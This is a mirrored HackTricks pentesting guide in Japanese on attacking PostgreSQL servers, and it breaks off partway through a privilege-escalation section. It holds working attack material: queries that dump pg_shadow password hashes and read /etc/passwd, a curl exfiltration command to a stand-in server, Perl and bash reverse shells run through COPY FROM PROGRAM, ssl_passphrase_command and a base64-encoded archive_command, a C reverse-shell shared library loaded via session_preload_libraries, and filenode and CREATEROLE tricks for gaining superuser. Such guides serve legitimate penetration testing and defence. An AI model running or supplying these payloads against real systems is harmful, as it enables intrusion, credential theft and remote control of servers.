mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
790 lines
44 KiB
Markdown
790 lines
44 KiB
Markdown
# 5432,5433 - Pentesting Postgresql
|
||
|
||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、**自動化**します。\
|
||
今すぐアクセスを取得:
|
||
|
||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}
|
||
|
||
{% hint style="success" %}
|
||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>HackTricksをサポートする</summary>
|
||
|
||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。**
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## **基本情報**
|
||
|
||
**PostgreSQL**は、**オープンソースのオブジェクトリレーショナルデータベースシステム**として説明されています。このシステムはSQL言語を利用するだけでなく、追加機能で強化されています。その能力により、さまざまなデータ型と操作を処理できるため、開発者や組織にとって多用途な選択肢となっています。
|
||
|
||
**デフォルトポート:** 5432、そしてこのポートがすでに使用されている場合、postgresqlは使用されていない次のポート(おそらく5433)を使用するようです。
|
||
```
|
||
PORT STATE SERVICE
|
||
5432/tcp open pgsql
|
||
```
|
||
## 接続と基本的な列挙
|
||
```bash
|
||
psql -U <myuser> # Open psql console with user
|
||
psql -h <host> -U <username> -d <database> # Remote connection
|
||
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
|
||
```
|
||
|
||
```sql
|
||
psql -h localhost -d <database_name> -U <User> #Password will be prompted
|
||
\list # List databases
|
||
\c <database> # use the database
|
||
\d # List tables
|
||
\du+ # Get users roles
|
||
|
||
# Get current user
|
||
SELECT user;
|
||
|
||
# Get current database
|
||
SELECT current_catalog;
|
||
|
||
# List schemas
|
||
SELECT schema_name,schema_owner FROM information_schema.schemata;
|
||
\dn+
|
||
|
||
#List databases
|
||
SELECT datname FROM pg_database;
|
||
|
||
#Read credentials (usernames + pwd hash)
|
||
SELECT usename, passwd from pg_shadow;
|
||
|
||
# Get languages
|
||
SELECT lanname,lanacl FROM pg_language;
|
||
|
||
# Show installed extensions
|
||
SHOW rds.extensions;
|
||
SELECT * FROM pg_extension;
|
||
|
||
# Get history of commands executed
|
||
\s
|
||
```
|
||
{% hint style="warning" %}
|
||
**`\list`** を実行して **`rdsadmin`** というデータベースが見つかった場合、あなたは **AWS postgresql database** の中にいることがわかります。
|
||
{% endhint %}
|
||
|
||
**PostgreSQLデータベースを悪用する方法** についての詳細は、以下を確認してください:
|
||
|
||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %}
|
||
[postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/)
|
||
{% endcontent-ref %}
|
||
|
||
## 自動列挙
|
||
```
|
||
msf> use auxiliary/scanner/postgres/postgres_version
|
||
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
|
||
```
|
||
### [**ブルートフォース**](../generic-methodologies-and-resources/brute-force.md#postgresql)
|
||
|
||
### **ポートスキャン**
|
||
|
||
[**この研究**](https://www.exploit-db.com/papers/13084)によると、接続試行が失敗すると、`dblink`はエラーの説明を含む`sqlclient_unable_to_establish_sqlconnection`例外をスローします。これらの詳細の例は以下に示されています。
|
||
```sql
|
||
SELECT * FROM dblink_connect('host=1.2.3.4
|
||
port=5678
|
||
user=name
|
||
password=secret
|
||
dbname=abc
|
||
connect_timeout=10');
|
||
```
|
||
* ホストがダウンしています
|
||
|
||
`DETAIL: サーバーに接続できませんでした: ホストへのルートがありません "1.2.3.4" でサーバーは稼働しており、ポート 5678 で TCP/IP 接続を受け入れていますか?`
|
||
|
||
* ポートが閉じています
|
||
```
|
||
DETAIL: could not connect to server: Connection refused Is the server
|
||
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
||
```
|
||
* ポートが開いています
|
||
```
|
||
DETAIL: server closed the connection unexpectedly This probably means
|
||
the server terminated abnormally before or while processing the request
|
||
```
|
||
or
|
||
```
|
||
DETAIL: FATAL: password authentication failed for user "name"
|
||
```
|
||
* ポートはオープンまたはフィルタリングされています
|
||
```
|
||
DETAIL: could not connect to server: Connection timed out Is the server
|
||
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
||
```
|
||
In PL/pgSQL関数では、現在例外の詳細を取得することはできません。ただし、PostgreSQLサーバーに直接アクセスできる場合は、必要な情報を取得できます。システムテーブルからユーザー名とパスワードを抽出することが不可能な場合は、前のセクションで説明したワードリスト攻撃手法を利用することを検討してください。これは、ポジティブな結果をもたらす可能性があります。
|
||
|
||
## 権限の列挙
|
||
|
||
### ロール
|
||
|
||
| ロールタイプ | |
|
||
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||
| rolsuper | ロールはスーパーユーザー権限を持っています |
|
||
| rolinherit | ロールは自動的にそのメンバーであるロールの権限を継承します |
|
||
| rolcreaterole | ロールは他のロールを作成できます |
|
||
| rolcreatedb | ロールはデータベースを作成できます |
|
||
| rolcanlogin | ロールはログインできます。つまり、このロールは初期セッション認証識別子として与えられることができます |
|
||
| rolreplication | ロールはレプリケーションロールです。レプリケーションロールはレプリケーション接続を開始し、レプリケーションスロットを作成および削除できます。 |
|
||
| rolconnlimit | ログインできるロールに対して、このロールが作成できる同時接続の最大数を設定します。-1は制限なしを意味します。 |
|
||
| rolpassword | パスワードではありません(常に`********`として読み取られます) |
|
||
| rolvaliduntil | パスワードの有効期限(パスワード認証にのみ使用されます);有効期限がない場合はnull |
|
||
| rolbypassrls | ロールはすべての行レベルセキュリティポリシーをバイパスします。詳細については[セクション5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)を参照してください。 |
|
||
| rolconfig | 実行時構成変数のロール固有のデフォルト |
|
||
| oid | ロールのID |
|
||
|
||
#### 興味深いグループ
|
||
|
||
* **`pg_execute_server_program`**のメンバーであれば、プログラムを**実行**できます
|
||
* **`pg_read_server_files`**のメンバーであれば、ファイルを**読み**取ることができます
|
||
* **`pg_write_server_files`**のメンバーであれば、ファイルを**書き**込むことができます
|
||
|
||
{% hint style="info" %}
|
||
Postgresでは、**ユーザー**、**グループ**、および**ロール**は**同じ**であることに注意してください。これは**どのように使用するか**と、**ログインを許可するか**に依存します。
|
||
{% endhint %}
|
||
```sql
|
||
# Get users roles
|
||
\du
|
||
|
||
#Get users roles & groups
|
||
# r.rolpassword
|
||
# r.rolconfig,
|
||
SELECT
|
||
r.rolname,
|
||
r.rolsuper,
|
||
r.rolinherit,
|
||
r.rolcreaterole,
|
||
r.rolcreatedb,
|
||
r.rolcanlogin,
|
||
r.rolbypassrls,
|
||
r.rolconnlimit,
|
||
r.rolvaliduntil,
|
||
r.oid,
|
||
ARRAY(SELECT b.rolname
|
||
FROM pg_catalog.pg_auth_members m
|
||
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
|
||
WHERE m.member = r.oid) as memberof
|
||
, r.rolreplication
|
||
FROM pg_catalog.pg_roles r
|
||
ORDER BY 1;
|
||
|
||
# Check if current user is superiser
|
||
## If response is "on" then true, if "off" then false
|
||
SELECT current_setting('is_superuser');
|
||
|
||
# Try to grant access to groups
|
||
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
|
||
GRANT pg_execute_server_program TO "username";
|
||
GRANT pg_read_server_files TO "username";
|
||
GRANT pg_write_server_files TO "username";
|
||
## You will probably get this error:
|
||
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
|
||
|
||
# Create new role (user) as member of a role (group)
|
||
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
|
||
## Common error
|
||
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
|
||
```
|
||
### テーブル
|
||
```sql
|
||
# Get owners of tables
|
||
select schemaname,tablename,tableowner from pg_tables;
|
||
## Get tables where user is owner
|
||
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
|
||
|
||
# Get your permissions over tables
|
||
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
|
||
|
||
#Check users privileges over a table (pg_shadow on this example)
|
||
## If nothing, you don't have any permission
|
||
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
|
||
```
|
||
### 関数
|
||
```sql
|
||
# Interesting functions are inside pg_catalog
|
||
\df * #Get all
|
||
\df *pg_ls* #Get by substring
|
||
\df+ pg_read_binary_file #Check who has access
|
||
|
||
# Get all functions of a schema
|
||
\df pg_catalog.*
|
||
|
||
# Get all functions of a schema (pg_catalog in this case)
|
||
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
|
||
FROM information_schema.routines
|
||
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
|
||
WHERE routines.specific_schema='pg_catalog'
|
||
ORDER BY routines.routine_name, parameters.ordinal_position;
|
||
|
||
# Another aparent option
|
||
SELECT * FROM pg_proc;
|
||
```
|
||
## ファイルシステムアクション
|
||
|
||
### ディレクトリとファイルの読み取り
|
||
|
||
この [**コミット** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)から、定義された **`DEFAULT_ROLE_READ_SERVER_FILES`** グループ(**`pg_read_server_files`** と呼ばれる)および **スーパーユーザー** は、任意のパスで **`COPY`** メソッドを使用できます(`genfile.c` の `convert_and_check_filename` を確認してください):
|
||
```sql
|
||
# Read file
|
||
CREATE TABLE demo(t text);
|
||
COPY demo from '/etc/passwd';
|
||
SELECT * FROM demo;
|
||
```
|
||
{% hint style="warning" %}
|
||
スーパーユーザーでなくても、**CREATEROLE** 権限があれば、そのグループのメンバーに**自分を追加することができます:**
|
||
```sql
|
||
GRANT pg_read_server_files TO username;
|
||
```
|
||
[**詳細情報。**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||
{% endhint %}
|
||
|
||
他の**postgres関数**があり、**ファイルを読み取ったりディレクトリをリストしたり**するために使用できます。これらは**スーパーユーザー**と**明示的な権限を持つユーザー**のみが使用できます:
|
||
```sql
|
||
# Before executing these function go to the postgres DB (not in the template1)
|
||
\c postgres
|
||
## If you don't do this, you might get "permission denied" error even if you have permission
|
||
|
||
select * from pg_ls_dir('/tmp');
|
||
select * from pg_read_file('/etc/passwd', 0, 1000000);
|
||
select * from pg_read_binary_file('/etc/passwd');
|
||
|
||
# Check who has permissions
|
||
\df+ pg_ls_dir
|
||
\df+ pg_read_file
|
||
\df+ pg_read_binary_file
|
||
|
||
# Try to grant permissions
|
||
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
|
||
# By default you can only access files in the datadirectory
|
||
SHOW data_directory;
|
||
# But if you are a member of the group pg_read_server_files
|
||
# You can access any file, anywhere
|
||
GRANT pg_read_server_files TO username;
|
||
# Check CREATEROLE privilege escalation
|
||
```
|
||
あなたは**more functions**を[https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)で見つけることができます。
|
||
|
||
### シンプルなファイル書き込み
|
||
|
||
**super users**と**`pg_write_server_files`**のメンバーのみが、copyを使用してファイルに書き込むことができます。
|
||
|
||
{% code overflow="wrap" %}
|
||
```sql
|
||
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
|
||
```
|
||
{% endcode %}
|
||
|
||
{% hint style="warning" %}
|
||
スーパーユーザーでなくても、**`CREATEROLE`** 権限があれば、そのグループのメンバーになることができます。
|
||
```sql
|
||
GRANT pg_write_server_files TO username;
|
||
```
|
||
[**詳細情報。**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||
{% endhint %}
|
||
|
||
COPYは改行文字を処理できないため、base64ペイロードを使用している場合でも、**1行で送信する必要があります**。\
|
||
この技術の非常に重要な制限は、**`copy`はバイナリファイルを書き込むために使用できないことです。なぜなら、いくつかのバイナリ値を変更するからです。**
|
||
|
||
### **バイナリファイルのアップロード**
|
||
|
||
ただし、**大きなバイナリファイルをアップロードするための他の技術があります:**
|
||
|
||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %}
|
||
[big-binary-files-upload-postgresql.md](../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md)
|
||
{% endcontent-ref %}
|
||
|
||
## <img src="../.gitbook/assets/i3.png" alt="" data-size="original">
|
||
|
||
**バグバウンティのヒント**:**サインアップ**して**Intigriti**に参加しましょう。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**の報酬を得始めましょう!
|
||
|
||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||
|
||
### ローカルファイル書き込みによるPostgreSQLテーブルデータの更新
|
||
|
||
PostgreSQLサーバーファイルを読み書きするための必要な権限がある場合、[PostgreSQLデータディレクトリ](https://www.postgresql.org/docs/8.1/storage.html)内の関連ファイルノードを**上書きすることによって**、サーバー上の任意のテーブルを更新できます。**この技術の詳細は** [**こちら**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users)で。
|
||
|
||
必要な手順:
|
||
|
||
1. PostgreSQLデータディレクトリを取得する
|
||
|
||
```sql
|
||
SELECT setting FROM pg_settings WHERE name = 'data_directory';
|
||
```
|
||
|
||
**注意:** 設定から現在のデータディレクトリパスを取得できない場合は、`SELECT version()`クエリを通じて主要なPostgreSQLバージョンをクエリし、パスをブルートフォースすることを試みることができます。UnixインストールのPostgreSQLの一般的なデータディレクトリパスは`/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`です。一般的なクラスター名は`main`です。
|
||
2. 対象テーブルに関連するファイルノードへの相対パスを取得する
|
||
|
||
```sql
|
||
SELECT pg_relation_filepath('{TABLE_NAME}')
|
||
```
|
||
|
||
このクエリは`base/3/1337`のようなものを返すべきです。ディスク上のフルパスは`$DATA_DIRECTORY/base/3/1337`、すなわち`/var/lib/postgresql/13/main/base/3/1337`です。
|
||
3. `lo_*`関数を通じてファイルノードをダウンロードする
|
||
|
||
```sql
|
||
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
|
||
```
|
||
4. 対象テーブルに関連するデータ型を取得する
|
||
|
||
```sql
|
||
SELECT
|
||
STRING_AGG(
|
||
CONCAT_WS(
|
||
',',
|
||
attname,
|
||
typname,
|
||
attlen,
|
||
attalign
|
||
),
|
||
';'
|
||
)
|
||
FROM pg_attribute
|
||
JOIN pg_type
|
||
ON pg_attribute.atttypid = pg_type.oid
|
||
JOIN pg_class
|
||
ON pg_attribute.attrelid = pg_class.oid
|
||
WHERE pg_class.relname = '{TABLE_NAME}';
|
||
```
|
||
5. [PostgreSQLファイルノードエディタ](https://github.com/adeadfed/postgresql-filenode-editor)を使用して[ファイルノードを編集する](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users);すべての`rol*`ブールフラグを1に設定してフル権限を付与します。
|
||
|
||
```bash
|
||
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
|
||
```
|
||
|
||
![PostgreSQLファイルノードエディタデモ](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo\_datatype.gif)
|
||
6. 編集したファイルノードを`lo_*`関数を通じて再アップロードし、ディスク上の元のファイルを上書きします
|
||
|
||
```sql
|
||
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
|
||
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
|
||
```
|
||
7. _(オプション)_ 高コストのSQLクエリを実行してメモリ内のテーブルキャッシュをクリアします
|
||
|
||
```sql
|
||
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
|
||
```
|
||
8. PostgreSQLで更新されたテーブル値が表示されるはずです。
|
||
|
||
`pg_authid`テーブルを編集することでスーパーユーザーになることもできます。**次のセクションを参照してください** [**こちら**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables)。
|
||
|
||
## RCE
|
||
|
||
### **プログラムへのRCE**
|
||
|
||
[バージョン9.3](https://www.postgresql.org/docs/9.3/release-9-3.html)以降、**スーパーユーザー**およびグループ**`pg_execute_server_program`**のメンバーのみがRCEのためにcopyを使用できます(例:情報漏洩を伴う)。
|
||
```sql
|
||
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
|
||
```
|
||
例を実行する:
|
||
```bash
|
||
#PoC
|
||
DROP TABLE IF EXISTS cmd_exec;
|
||
CREATE TABLE cmd_exec(cmd_output text);
|
||
COPY cmd_exec FROM PROGRAM 'id';
|
||
SELECT * FROM cmd_exec;
|
||
DROP TABLE IF EXISTS cmd_exec;
|
||
|
||
#Reverse shell
|
||
#Notice that in order to scape a single quote you need to put 2 single quotes
|
||
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
|
||
```
|
||
{% hint style="warning" %}
|
||
スーパーユーザーでなくても、**`CREATEROLE`** 権限を持っている場合は、そのグループのメンバーになることができます:
|
||
```sql
|
||
GRANT pg_execute_server_program TO username;
|
||
```
|
||
[**詳細情報。**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||
{% endhint %}
|
||
|
||
または、**metasploit**の`multi/postgres/postgres_copy_from_program_cmd_exec`モジュールを使用します。\
|
||
この脆弱性に関する詳細情報は[**こちら**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5)をご覧ください。CVE-2019-9193として報告されましたが、Postgesはこれが[機能であり、修正されない](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/)と宣言しました。
|
||
|
||
### PostgreSQL言語によるRCE
|
||
|
||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %}
|
||
[rce-with-postgresql-languages.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md)
|
||
{% endcontent-ref %}
|
||
|
||
### PostgreSQL拡張機能によるRCE
|
||
|
||
前の投稿から**バイナリファイルをアップロードする方法**を**学んだ**ら、**PostgreSQL拡張機能をアップロードして読み込むことでRCEを取得する**ことを試みることができます。
|
||
|
||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %}
|
||
[rce-with-postgresql-extensions.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
|
||
{% endcontent-ref %}
|
||
|
||
### PostgreSQL設定ファイルによるRCE
|
||
|
||
{% hint style="info" %}
|
||
以下のRCEベクターは、すべてのステップがネストされたSELECT文を通じて実行できるため、制約のあるSQLiコンテキストで特に便利です。
|
||
{% endhint %}
|
||
|
||
PostgreSQLの**設定ファイル**は、データベースを実行している**postgresユーザー**によって**書き込み可能**です。したがって、**スーパーユーザー**として、ファイルシステムにファイルを書き込むことができ、このファイルを**上書き**することができます。
|
||
|
||
![](<../.gitbook/assets/image (322).png>)
|
||
|
||
#### **ssl_passphrase_commandによるRCE**
|
||
|
||
この技術に関する詳細情報は[こちら](https://pulsesecurity.co.nz/articles/postgres-sqli)をご覧ください。
|
||
|
||
設定ファイルには、RCEにつながるいくつかの興味深い属性があります:
|
||
|
||
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` データベースのプライベートキーへのパス
|
||
* `ssl_passphrase_command = ''` プライベートファイルがパスワードで保護されている場合(暗号化されている)、PostgreSQLは**この属性に示されたコマンドを実行します**。
|
||
* `ssl_passphrase_command_supports_reload = off` **この属性が**オンの場合、パスワードで保護されたキーが**実行されるときに**、**コマンド**が`pg_reload_conf()`が**実行されるときに**実行されます。
|
||
|
||
そのため、攻撃者は次のことを行う必要があります:
|
||
|
||
1. サーバーから**プライベートキーをダンプ**する
|
||
2. ダウンロードしたプライベートキーを**暗号化**する:
|
||
1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
|
||
3. **上書き**
|
||
4. 現在のPostgreSQLの**設定をダンプ**する
|
||
5. 言及された属性設定で**設定を上書き**する:
|
||
1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
|
||
2. `ssl_passphrase_command_supports_reload = on`
|
||
6. `pg_reload_conf()`を実行する
|
||
|
||
これをテストしていると、**プライベートキーファイルの権限が640である場合にのみ機能する**ことに気付きました。これは**rootによって所有され**、**ssl-certまたはpostgresグループによって所有されている**(したがって、postgresユーザーが読み取れる)必要があり、_ /var/lib/postgresql/12/main_に配置されている必要があります。
|
||
|
||
#### **archive_commandによるRCE**
|
||
|
||
**この設定とWALに関する**[**詳細情報はこちら**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**。**
|
||
|
||
設定ファイルで悪用可能な別の属性は`archive_command`です。
|
||
|
||
これが機能するためには、`archive_mode`設定が`'on'`または`'always'`である必要があります。それが真であれば、`archive_command`のコマンドを上書きし、WAL(書き込み先行ログ)操作を介して実行させることができます。
|
||
|
||
一般的な手順は次のとおりです:
|
||
|
||
1. アーカイブモードが有効かどうかを確認する:`SELECT current_setting('archive_mode')`
|
||
2. ペイロードで`archive_command`を上書きする。例えば、リバースシェル:`archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
|
||
3. 設定をリロードする:`SELECT pg_reload_conf()`
|
||
4. WAL操作を強制的に実行し、アーカイブコマンドを呼び出す:`SELECT pg_switch_wal()`または一部のPostgresバージョン用の`SELECT pg_switch_xlog()`
|
||
|
||
#### **プリロードライブラリによるRCE**
|
||
|
||
この技術に関する詳細情報は[こちら](https://adeadfed.com/posts/postgresql-select-only-rce/)をご覧ください。
|
||
|
||
この攻撃ベクターは、次の設定変数を利用します:
|
||
|
||
* `session_preload_libraries` -- クライアント接続時にPostgreSQLサーバーによって読み込まれるライブラリ。
|
||
* `dynamic_library_path` -- PostgreSQLサーバーがライブラリを検索するディレクトリのリスト。
|
||
|
||
`dynamic_library_path`の値を、データベースを実行している`postgres`ユーザーによって書き込み可能なディレクトリ(例:`/tmp/`ディレクトリ)に設定し、そこに悪意のある`.so`オブジェクトをアップロードします。次に、`session_preload_libraries`変数に新しくアップロードしたライブラリを含めることで、PostgreSQLサーバーにそれを読み込ませます。
|
||
|
||
攻撃手順は次のとおりです:
|
||
|
||
1. 元の`postgresql.conf`をダウンロードする
|
||
2. `dynamic_library_path`の値に`/tmp/`ディレクトリを含める。例:`dynamic_library_path = '/tmp:$libdir'`
|
||
3. `session_preload_libraries`の値に悪意のあるライブラリ名を含める。例:`session_preload_libraries = 'payload.so'`
|
||
4. `SELECT version()`クエリを介して主要なPostgreSQLバージョンを確認する
|
||
5. 正しいPostgreSQL開発パッケージで悪意のあるライブラリコードをコンパイルする サンプルコード:
|
||
|
||
```c
|
||
#include <stdio.h>
|
||
#include <sys/socket.h>
|
||
#include <sys/types.h>
|
||
#include <stdlib.h>
|
||
#include <unistd.h>
|
||
#include <netinet/in.h>
|
||
#include <arpa/inet.h>
|
||
#include "postgres.h"
|
||
#include "fmgr.h"
|
||
|
||
#ifdef PG_MODULE_MAGIC
|
||
PG_MODULE_MAGIC;
|
||
#endif
|
||
|
||
void _init() {
|
||
/*
|
||
code taken from https://www.revshells.com/
|
||
*/
|
||
|
||
int port = REVSHELL_PORT;
|
||
struct sockaddr_in revsockaddr;
|
||
|
||
int sockt = socket(AF_INET, SOCK_STREAM, 0);
|
||
revsockaddr.sin_family = AF_INET;
|
||
revsockaddr.sin_port = htons(port);
|
||
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");
|
||
|
||
connect(sockt, (struct sockaddr *) &revsockaddr,
|
||
sizeof(revsockaddr));
|
||
dup2(sockt, 0);
|
||
dup2(sockt, 1);
|
||
dup2(sockt, 2);
|
||
|
||
char * const argv[] = {"/bin/bash", NULL};
|
||
execve("/bin/bash", argv, NULL);
|
||
}
|
||
```
|
||
|
||
コードをコンパイルする:
|
||
|
||
```bash
|
||
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
|
||
```
|
||
6. ステップ2-3で作成した悪意のある`postgresql.conf`をアップロードし、元のものを上書きする
|
||
7. ステップ5の`payload.so`を`/tmp`ディレクトリにアップロードする
|
||
8. サーバーを再起動するか、`SELECT pg_reload_conf()`クエリを呼び出してサーバー設定をリロードする
|
||
9. 次のDB接続時に、リバースシェル接続を受け取ります。
|
||
|
||
## **Postgres Privesc**
|
||
|
||
### CREATEROLE Privesc
|
||
|
||
#### **Grant**
|
||
|
||
[**ドキュメント**](https://www.postgresql.org/docs/13/sql-grant.html)によると:_**`CREATEROLE`**権限を持つロールは、**スーパーユーザー**でない任意のロールのメンバーシップを**付与または取り消す**ことができます。_
|
||
|
||
したがって、**`CREATEROLE`**権限がある場合、他の**ロール**(スーパーユーザーでない)へのアクセスを自分に付与することができ、ファイルの読み書きやコマンドの実行のオプションを得ることができます:
|
||
```sql
|
||
# Access to execute commands
|
||
GRANT pg_execute_server_program TO username;
|
||
# Access to read files
|
||
GRANT pg_read_server_files TO username;
|
||
# Access to write files
|
||
GRANT pg_write_server_files TO username;
|
||
```
|
||
#### パスワードの変更
|
||
|
||
このロールを持つユーザーは、他の**非スーパーユーザー**の**パスワード**を**変更**することもできます:
|
||
```sql
|
||
#Change password
|
||
ALTER USER user_name WITH PASSWORD 'new_password';
|
||
```
|
||
#### Privesc to SUPERUSER
|
||
|
||
**ローカルユーザーがパスワードを提供せずにPostgreSQLにログインできることは非常に一般的です**。したがって、**コードを実行する権限を取得したら**、これらの権限を悪用して**`SUPERUSER`**ロールを付与できます:
|
||
```sql
|
||
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
|
||
```
|
||
{% hint style="info" %}
|
||
これは通常、**`pg_hba.conf`** ファイルの以下の行のおかげで可能です:
|
||
```bash
|
||
# "local" is for Unix domain socket connections only
|
||
local all all trust
|
||
# IPv4 local connections:
|
||
host all all 127.0.0.1/32 trust
|
||
# IPv6 local connections:
|
||
host all all ::1/128 trust
|
||
```
|
||
{% endhint %}
|
||
|
||
### **ALTER TABLE privesc**
|
||
|
||
[**このレポート**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)では、ユーザーに付与されたALTER TABLE権限を悪用してPostgres GCPで**privesc**が可能だった方法が説明されています。
|
||
|
||
**別のユーザーをテーブルの所有者にする**ことを試みると、**エラー**が発生してそれを防ぐはずですが、どうやらGCPはその**オプションを非スーパーユーザーのpostgresユーザーに与えた**ようです。
|
||
|
||
<figure><img src="../.gitbook/assets/image (537).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
この考えを、**INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html)コマンドが**インデックス関数**を持つ**テーブル**で実行されるとき、**関数**が**テーブル**の**所有者の権限**でコマンドの一部として**呼び出される**という事実と結びつけると、関数を使ってインデックスを作成し、そのテーブルに対して**スーパーユーザー**に所有者権限を与え、その後悪意のある関数を使ってテーブルに対してANALYZEを実行することが可能になります。これは所有者の権限を使用してコマンドを実行できるからです。
|
||
```c
|
||
GetUserIdAndSecContext(&save_userid, &save_sec_context);
|
||
SetUserIdAndSecContext(onerel->rd_rel->relowner,
|
||
save_sec_context | SECURITY_RESTRICTED_OPERATION);
|
||
```
|
||
#### Exploitation
|
||
|
||
1. 新しいテーブルを作成します。
|
||
2. インデックス関数にデータを提供するために、テーブルにいくつかの無関係なコンテンツを挿入します。
|
||
3. コード実行ペイロードを含む悪意のあるインデックス関数を開発し、無許可のコマンドを実行できるようにします。
|
||
